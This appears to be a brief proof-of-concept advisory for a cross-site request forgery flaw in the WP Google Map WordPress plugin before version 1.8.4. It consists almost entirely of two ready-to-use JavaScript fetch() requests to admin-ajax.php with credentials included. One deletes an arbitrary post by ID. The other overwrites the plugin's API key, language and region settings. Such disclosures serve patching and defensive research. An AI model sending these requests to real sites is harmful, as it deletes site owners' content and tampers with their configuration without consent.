WP Google Map < 1.8.4 - Arbitrary Post Deletion and Plugin's Settings Update via CSRF

Removing post:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=wpgmapembed_remove_wpgmap&post_id=1",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Updating settings:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=wpgmapembed_save_setup_wizard&wgm_api_key=hohohoho&wgm_language=999&wgm_regional_area=aaaaa",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));